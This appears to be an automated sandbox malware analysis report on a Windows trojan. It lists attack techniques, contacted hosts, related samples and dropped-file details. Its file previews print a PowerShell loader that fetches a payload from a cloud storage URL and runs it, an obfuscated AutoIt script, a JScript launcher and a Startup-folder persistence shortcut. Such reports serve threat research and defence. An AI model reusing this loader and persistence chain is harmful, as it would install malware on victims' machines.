Employee Names	Virtual Private Server	Local Accounts	Cron	2 Registry Run Keys / Startup Folder	21 Access Token Manipulation	1 DLL Side-Loading	NTDS	26 System Information Discovery	Distributed Component Object Model	Input Capture	13 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	12 Process Injection	211 Masquerading	LSA Secrets	31 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	2 Registry Run Keys / Startup Folder	2 Valid Accounts	Cached Domain Credentials	21 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	21 Virtualization/Sandbox Evasion	DCSync	3 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	21 Access Token Manipulation	Proc Filesystem	11 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	12 Process Injection	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
T6l6gPxwQU.exe	42%	ReversingLabs	Win64.Trojan.Povertel
T6l6gPxwQU.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\Public\InformationCheck.exe	3%	ReversingLabs
C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	3%	ReversingLabs

Source	Detection	Scanner	Label
http://nuget.org/NuGet.exe	0%	URL Reputation	safe
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
https://go.micro	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
https://nuget.org/nuget.exe	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
https://oneget.orgX	0%	URL Reputation	safe
https://aka.ms/pscore68	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
https://oneget.org	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
my.cloudme.com	83.140.241.4	true	false		unknown
nbhkmKSQnaDrIkubbvvLMhHdgigs.nbhkmKSQnaDrIkubbvvLMhHdgigs	unknown	unknown	false		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://my.cloudme.com/v1/ws2/:stream2/:small/small.txt	false		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.autoitscript.com/autoit3/J	T6l6gPxwQU.exe, 00000000.00000003.1683618137.00000202FF80E000.00000004.00000020.00020000.00000000.sdmp, T6l6gPxwQU.exe, 00000000.00000003.1690464925.00000202FF734000.00000004.00000020.00020000.00000000.sdmp, InformationCheck.exe, 00000003.00000003.1794342033.0000000005BEE000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://nuget.org/NuGet.exe	powershell.exe, 00000001.00000002.1768096648.000002BB018FF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1790559122.000002BB10072000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0	powershell.exe, 00000001.00000002.1768096648.000002BB01667000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000001.00000002.1768096648.000002BB018A5000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000001.00000002.1768096648.000002BB018A5000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://go.micro	powershell.exe, 00000001.00000002.1768096648.000002BB0117C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/	powershell.exe, 00000001.00000002.1790559122.000002BB10072000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000001.00000002.1768096648.000002BB018FF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1790559122.000002BB10072000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/License	powershell.exe, 00000001.00000002.1790559122.000002BB10072000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/Icon	powershell.exe, 00000001.00000002.1790559122.000002BB10072000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://oneget.orgX	powershell.exe, 00000001.00000002.1768096648.000002BB01667000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://my.cloHJ	powershell.exe, 00000001.00000002.1768096648.000002BB01365000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://aka.ms/pscore68	powershell.exe, 00000001.00000002.1768096648.000002BB00001000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://my.cloudme.com	powershell.exe, 00000001.00000002.1768096648.000002BB00228000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1768096648.000002BB01365000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.autoitscript.com/autoit3/	T6l6gPxwQU.exe, 00000000.00000003.1683618137.00000202FF80E000.00000004.00000020.00020000.00000000.sdmp, T6l6gPxwQU.exe, 00000000.00000003.1690464925.00000202FF734000.00000004.00000020.00020000.00000000.sdmp, InformationCheck.exe, 00000003.00000003.1794342033.0000000005BEE000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000001.00000002.1768096648.000002BB00001000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://github.com/Pester/Pester	powershell.exe, 00000001.00000002.1768096648.000002BB018A5000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://my.cloudme.com	powershell.exe, 00000001.00000002.1768096648.000002BB015FA000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://oneget.org	powershell.exe, 00000001.00000002.1768096648.000002BB01667000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
83.140.241.4	my.cloudme.com	Sweden		39369	PORT80SE	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1528376
Start date and time:	2024-10-07 21:29:06 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 54s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	12
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	T6l6gPxwQU.exe renamed because original name is a hash value
Original Sample Name:	fca042b18adf613d9a2be1646663698f.exe
Detection:	MAL
Classification:	mal100.expl.evad.winEXE@12/10@3/1
EGA Information:	Successful, ratio: 75%
HCA Information:	Successful, ratio: 100% Number of executed functions: 48 Number of non-executed functions: 250
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target powershell.exe, PID 7364 because it is empty
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: T6l6gPxwQU.exe

Simulations

Behavior and APIs

Time	Type	Description
15:29:59	API Interceptor	41x Sleep call for process: powershell.exe modified
15:30:45	API Interceptor	2859x Sleep call for process: InformationCheck.exe modified
15:31:04	API Interceptor	1689x Sleep call for process: SwiftWrite.pif modified
20:30:10	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
83.140.241.4	file.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
my.cloudme.com	file.exe	Get hash	malicious	Unknown	Browse	83.140.241.4
	file.exe	Get hash	malicious	Unknown	Browse	83.140.241.4
	file.exe	Get hash	malicious	Unknown	Browse	83.140.241.4

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
PORT80SE	file.exe	Get hash	malicious	Unknown	Browse	83.140.241.4
	file.exe	Get hash	malicious	Unknown	Browse	83.140.241.4
	file.exe	Get hash	malicious	Unknown	Browse	83.140.241.4
	mirai.x86.elf	Get hash	malicious	Mirai	Browse	83.140.143.216
	botx.mips.elf	Get hash	malicious	Mirai	Browse	217.75.105.3
	Q2bIN963Kt.elf	Get hash	malicious	Mirai, Okiru	Browse	82.96.9.42
	62CajT4n8H.elf	Get hash	malicious	Unknown	Browse	83.140.44.136
	GpqAAlRMz4.elf	Get hash	malicious	Moobot	Browse	82.96.9.72
	jihIfXyawu.elf	Get hash	malicious	Unknown	Browse	83.140.62.179
	pTl791h3wF.elf	Get hash	malicious	Mirai	Browse	82.96.9.54

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	https://mailstat.us/tr/t/5w8u1qwlwl61e4h/1/https:/krediti.ca/#Y2FyYS5jJGNiZmxvb3JzaW5jLmNvbQ==	Get hash	malicious	Outlook Phishing, HTMLPhisher	Browse	83.140.241.4
	https://url.avanan.click/v2/r01/___https://www.tiktok.com/qnspdA7?fni=6cbb&qfsl=js&xhjsj=gnt_zwq&yfwljy=myyux:ddBBB.lttlqj.hfdzwq?v=frudxdkniljyAkC.sEd.frl___.YXAzOnNvdXRoZXJua2l0Y2hlbmFuZGdyaWxsOmE6bzo2MGY0ZmI3MTkzODQ4OWRiOGFlZjY2ODI4ODlkMDk3NDo3OmRlYjY6NjI5YzkxZjFmNmQ3ZjI1NWIxN2UwYTI5ZTNmZjcyMTQyNTg3NmZhMDQyOWZlMDI4MDhmODRlNWVhYWU3MjJhZDpoOlQ6VA#ZHN5aHJlQG9sZ29vbmlrLmNvbQ==	Get hash	malicious	Unknown	Browse	83.140.241.4
	SecuriteInfo.com.Win64.TrojanX-gen.22573.8055.exe	Get hash	malicious	Unknown	Browse	83.140.241.4
	Ref#0503711.exe	Get hash	malicious	AgentTesla	Browse	83.140.241.4
	scan_374783.js	Get hash	malicious	AgentTesla	Browse	83.140.241.4
	file.exe	Get hash	malicious	Credential Flusher	Browse	83.140.241.4
	shipping.exe	Get hash	malicious	AgentTesla	Browse	83.140.241.4
	https://future.nhs.uk	Get hash	malicious	Unknown	Browse	83.140.241.4
	wrong bank details.exe	Get hash	malicious	MassLogger RAT	Browse	83.140.241.4
	z1PO7311145.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	83.140.241.4

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	file.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.Win32.Malware-gen.18298.24659.exe	Get hash	malicious	Remcos	Browse
	SecuriteInfo.com.Win32.Malware-gen.18298.24659.exe	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.Trojan.PWS.Steam.37582.19133.23112.exe	Get hash	malicious	Vidar	Browse
	SecuriteInfo.com.Trojan.PWS.Steam.37582.19133.23112.exe	Get hash	malicious	Vidar	Browse
	SecuriteInfo.com.Trojan.PWS.Steam.37481.30383.28482.exe	Get hash	malicious	Vidar	Browse
	3KBNUpajAQ.exe	Get hash	malicious	Unknown	Browse
C:\Users\Public\InformationCheck.exe	file.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.Win32.Malware-gen.18298.24659.exe	Get hash	malicious	Remcos	Browse
	SecuriteInfo.com.Win32.Malware-gen.18298.24659.exe	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.Trojan.PWS.Steam.37582.19133.23112.exe	Get hash	malicious	Vidar	Browse
	SecuriteInfo.com.Trojan.PWS.Steam.37582.19133.23112.exe	Get hash	malicious	Vidar	Browse
	SecuriteInfo.com.Trojan.PWS.Steam.37481.30383.28482.exe	Get hash	malicious	Vidar	Browse
	3KBNUpajAQ.exe	Get hash	malicious	Unknown	Browse

Created / dropped Files

C:\Users\Public\Details.au3

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (1266)
Category:	dropped
Size (bytes):	3485127
Entropy (8bit):	4.739244309224887
Encrypted:	false
SSDEEP:	24576:qcb6NMAG7HuyDNNx+ZB8rKZsNuNxWdY74lb9UWrEiTO2yP:a
MD5:	3881B892AE0893A906D6CBE6DB39FE11
SHA1:	CF03508A1B930C37F5737227F917A6A36A6FD650
SHA-256:	35287AC8E4E594323E7E7D77C697E8089E2D7B4D1D661F4E2B0E1884A78C3221
SHA-512:	F7C49C8302028ED05C03C6805A657B26F82AF8A856AC723FBED10DB04452609611815928FDF290D57A3D3D0FA5C45805D72D14F71424AAE83A38144941BFE681
Malicious:	true
Reputation:	low
Preview:	.Func NutritionSpeedMayorFamilies($SmKiss, $EfficientlyFormula, $ConsultingSortsLabs, $furtherterrorist, $BIKEOCCURRENCESLIGHT, $ReversePhilippines).$PdBlocksResponseDat = '739119618772'.$VerifiedUnderstoodValidation = 34.$iosymphonyseemscrucial = 50.For $OdHBt = 28 To 865.If $VerifiedUnderstoodValidation = 32 Then.Sqrt(7955).FileExists(Wales("73]113]116]120]125]36]81]36]72]109]119]116]121]120]105]36",12/3)).$VerifiedUnderstoodValidation = $VerifiedUnderstoodValidation + 1.EndIf.If $VerifiedUnderstoodValidation = 33 Then.ConsoleWriteError(Wales("75]106]103]119]122]102]119]126]48]74]125]121]119]102]48",25/5)).DriveStatus(Wales("87]72]79]72]70]82]80]80]88]81]76]70]68]87]76]82]81]86]67]71]72]86]76]85]72]67",6/2)).Dec(Wales("92]77]84]52]70]82]70]95]84]83]72]84]90]80]52]71]90]73]70]85]74]88]89]52]90]83]78]89]88]52",5/1)).$VerifiedUnderstoodValidation = $VerifiedUnderstoodValidation + 1.EndIf.If $VerifiedUnderstoodValidation = 34 Then.$NuttenInvestorsRaleigh = Dec(Wales("104]113]105]86]85]

C:\Users\Public\InformationCheck.exe

Download File

Process:	C:\Users\user\Desktop\T6l6gPxwQU.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	893608
Entropy (8bit):	6.620131693023677
Encrypted:	false
SSDEEP:	12288:6pVWeOV7GtINsegA/hMyyzlcqikvAfcN9b2MyZa31twoPTdFxgawV2M01:6T3E53Myyzl0hMf1tr7Caw8M01
MD5:	C56B5F0201A3B3DE53E561FE76912BFD
SHA1:	2A4062E10A5DE813F5688221DBEB3F3FF33EB417
SHA-256:	237D1BCA6E056DF5BB16A1216A434634109478F882D3B1D58344C801D184F95D
SHA-512:	195B98245BB820085AE9203CDB6D470B749D1F228908093E8606453B027B7D7681CCD7952E30C2F5DD40F8F0B999CCFC60EBB03419B574C08DE6816E75710D2C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Win32.Malware-gen.18298.24659.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Win32.Malware-gen.18298.24659.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Trojan.PWS.Steam.37582.19133.23112.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Trojan.PWS.Steam.37582.19133.23112.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Trojan.PWS.Steam.37481.30383.28482.exe, Detection: malicious, Browse Filename: 3KBNUpajAQ.exe, Detection: malicious, Browse
Reputation:	moderate, very likely benign file
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........sD.R..R..R...C..P.....S.._@..a.._@....._@..g..[j..[..[j..w..R.+.r...........S.._@..S..R...P.....S..RichR.*.........................PE..L....q.Z.........."...............................@.......................................@...@.......@.........................\|.......P....................p...q...;.............................. [..@............................................text............................... ..`.rdata..............................@..@.data...t........R..................@....rsrc...P............<..............@..@.reloc...q...p...r..................@..B................................................................................................................................................................................................................................................................................

C:\Users\Public\ProfileDetails.ps1

Download File

Process:	C:\Users\user\Desktop\T6l6gPxwQU.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	373
Entropy (8bit):	5.122687847204781
Encrypted:	false
SSDEEP:	6:gsvPFyKoJFODu3Id25PaH9Ayz1gY1PaHzPMKds48QLh8JdWzH6mLF7djIXIINOQL:xv9ZoXOJrAymYEzdHGHWzH6mL5dsfHbf
MD5:	3E79D02E7B3EF1B1C347DBF4090CD366
SHA1:	90F33D606D9E2C544F0E3C48FBF02B0080501275
SHA-256:	3A54CC3C7B092F5FC5978A1A757D1FFC32C4539430433CE469662C980288137C
SHA-512:	8CC2F59F89414FA83246A5C7E3589C6038F23C83DE7A1EF3920AF1B57028B63C6105930675E9F99AFAC1F228712B27C2E2A8B0BC9D2DEC55EEB8C921C6D60740
Malicious:	true
Preview:	$url = "https://my.cloudme.com/v1/ws2/:stream2/:small/small.txt"..$outputFile = "C:\Users\Public\Details.au3"..$decodedRunooPath = "C:\Users\Public\InformationCheck.exe"......$content = Invoke-WebRequest -Uri $url -UseBasicParsing......$content.Content \| Out-File -FilePath $outputFile -Encoding UTF8......Start-Process -FilePath $decodedRunooPath -ArgumentList $outputFile

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulxmH/lZ:NllUg
MD5:	D904BDD752B6F23D81E93ECA3BD8E0F3
SHA1:	026D8B0D0F79861746760B0431AD46BAD2A01676
SHA-256:	B393D3CEC8368794972E4ADD978B455A2F5BD37E3A116264DBED14DC8C67D6F2
SHA-512:	5B862B7F0BCCEF48E6A5A270C3F6271D7A5002465EAF347C6A266365F1B2CD3D88144C043D826D3456AA43484124D619BF16F9AEAB1F706463F553EE24CB5740
Malicious:	false
Preview:	@...e................................. ..............@..........

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mibvk1qm.s2r.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_y1b04zgn.l2d.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\WordGenius Technologies\G

Download File

Process:	C:\Users\Public\InformationCheck.exe
File Type:	ASCII text, with very long lines (1266)
Category:	dropped
Size (bytes):	3485124
Entropy (8bit):	4.739228439290352
Encrypted:	false
SSDEEP:	24576:Dcb6NMAG7HuyDNNx+ZB8rKZsNuNxWdY74lb9UWrEiTO2yP:5
MD5:	F684D28C9ADBC8AA4A1CB8A64CB26FC5
SHA1:	4CB15F81E6EE5D5BB7B51FB22EEE1A9D6CD44BC1
SHA-256:	DA2215F0068D4E839C7698C3576CF3288E84C351E7634E1A45969DB7078755E9
SHA-512:	EE11BF3FDE51A9A70174C10AC82CF9C834A8DA9C0003B4E5BAD6E7C65E02623F2C30CB1AE86A62C5409DDD0952946F189B16095E5DAF5E7E54388352E748786D
Malicious:	false
Preview:	Func NutritionSpeedMayorFamilies($SmKiss, $EfficientlyFormula, $ConsultingSortsLabs, $furtherterrorist, $BIKEOCCURRENCESLIGHT, $ReversePhilippines).$PdBlocksResponseDat = '739119618772'.$VerifiedUnderstoodValidation = 34.$iosymphonyseemscrucial = 50.For $OdHBt = 28 To 865.If $VerifiedUnderstoodValidation = 32 Then.Sqrt(7955).FileExists(Wales("73]113]116]120]125]36]81]36]72]109]119]116]121]120]105]36",12/3)).$VerifiedUnderstoodValidation = $VerifiedUnderstoodValidation + 1.EndIf.If $VerifiedUnderstoodValidation = 33 Then.ConsoleWriteError(Wales("75]106]103]119]122]102]119]126]48]74]125]121]119]102]48",25/5)).DriveStatus(Wales("87]72]79]72]70]82]80]80]88]81]76]70]68]87]76]82]81]86]67]71]72]86]76]85]72]67",6/2)).Dec(Wales("92]77]84]52]70]82]70]95]84]83]72]84]90]80]52]71]90]73]70]85]74]88]89]52]90]83]78]89]88]52",5/1)).$VerifiedUnderstoodValidation = $VerifiedUnderstoodValidation + 1.EndIf.If $VerifiedUnderstoodValidation = 34 Then.$NuttenInvestorsRaleigh = Dec(Wales("104]113]105]86]85]96]

C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js

Download File

Process:	C:\Users\Public\InformationCheck.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	184
Entropy (8bit):	4.736154105743425
Encrypted:	false
SSDEEP:	3:RiMIpGXfeNH5E5wWAX+Ro6p4EkD5yKXW/Zi+0/RaMl85uWAX+Ro6p4EkD5yKXW/f:RiJbNHCwWDKaJkDrXW/Zz0tl8wWDKaJX
MD5:	612D28A7A2758BAAF54DB34272446F87
SHA1:	D4671632FC2141EF2AB2455F8923BC5197B2FD68
SHA-256:	94A83DD87CE7268703585A40C52491DDC7D332380B82832951DED047AAE6D73A
SHA-512:	B4B64908C674F92F5D4B1E761E123957E8D5CD6C3F433D2D5C6ADD19101FD0610EE968222D4CED31E8F21F7F022D880E7E723E4171BC7DB18C37A2000A58565B
Malicious:	true
Preview:	new ActiveXObject("Wscript.Shell").Run("\"C:\\Users\\user\\AppData\\Local\\WordGenius Technologies\\SwiftWrite.pif\" \"C:\\Users\\user\\AppData\\Local\\WordGenius Technologies\\G\"")

C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif

Download File

Process:	C:\Users\Public\InformationCheck.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	893608
Entropy (8bit):	6.620131693023677
Encrypted:	false
SSDEEP:	12288:6pVWeOV7GtINsegA/hMyyzlcqikvAfcN9b2MyZa31twoPTdFxgawV2M01:6T3E53Myyzl0hMf1tr7Caw8M01
MD5:	C56B5F0201A3B3DE53E561FE76912BFD
SHA1:	2A4062E10A5DE813F5688221DBEB3F3FF33EB417
SHA-256:	237D1BCA6E056DF5BB16A1216A434634109478F882D3B1D58344C801D184F95D
SHA-512:	195B98245BB820085AE9203CDB6D470B749D1F228908093E8606453B027B7D7681CCD7952E30C2F5DD40F8F0B999CCFC60EBB03419B574C08DE6816E75710D2C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Win32.Malware-gen.18298.24659.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Win32.Malware-gen.18298.24659.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Trojan.PWS.Steam.37582.19133.23112.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Trojan.PWS.Steam.37582.19133.23112.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Trojan.PWS.Steam.37481.30383.28482.exe, Detection: malicious, Browse Filename: 3KBNUpajAQ.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........sD.R..R..R...C..P.....S.._@..a.._@....._@..g..[j..[..[j..w..R.+.r...........S.._@..S..R...P.....S..RichR.*.........................PE..L....q.Z.........."...............................@.......................................@...@.......@.........................\|.......P....................p...q...;.............................. [..@............................................text............................... ..`.rdata..............................@..@.data...t........R..................@....rsrc...P............<..............@..@.reloc...q...p...r..................@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	MS Windows 95 Internet shortcut text (URL=<"C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" >), ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	98
Entropy (8bit):	4.915531212533357
Encrypted:	false
SSDEEP:	3:HRAbABGQaFyw3pYot+kiE2J5yKXW/Zi+URAAy:HRYF5yjowkn23yKXW/Zzyy
MD5:	56D029782506F3E1F7EC40780D1DA27F
SHA1:	C7E0690DE9B31C951AC212A7E940E460267F2BA1
SHA-256:	5F412A72A3459ACA6A245DE1A280AB53CA5E6B306FECA32E0DF4B0B9B7863223
SHA-512:	1C5F108FB4325E4B47E9EE15F5D828569EE90676D5170D6D3B92BD13BD39CCAA68657CBB97761007154C73D2FFCFA8A3582879CB2097A899B22C1C83848A9D92
Malicious:	true
Preview:	[InternetShortcut] ..URL="C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" ..

Static File Info

General

File type:	PE32+ executable (GUI) x86-64, for MS Windows
Entropy (8bit):	7.310400449094374
TrID:	Win64 Executable GUI (202006/5) 92.65% Win64 Executable (generic) (12005/4) 5.51% Generic Win/DOS Executable (2004/3) 0.92% DOS Executable Generic (2002/1) 0.92% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	T6l6gPxwQU.exe
File size:	1'974'272 bytes
MD5:	fca042b18adf613d9a2be1646663698f
SHA1:	a7c91cd17ceeb8b1d0ac9873723f2b35487ca50c
SHA256:	3e358ac78679758f3720dd60d4e5fdff8323f2de436add34238d39c9bf969460
SHA512:	5109cb5cb9606c330110eee1449506abf7453d795c656b232ea12968ee481a3df698ba9a3dcc1a8c122eaa198e0b27677ab25fc4fd5e4e8909a6019b40820bdc
SSDEEP:	49152:x2EYTb8atv1orq+pEiSDTj1VyvBatZeI4LeO07B+Iy3AqMl1ZcK:gXbIrq3o/07B+yqm1Z
TLSH:	EB95C01973A4419DFEABE1B6CA13C607D7B17C460277861F02A46B766F337712A2E321
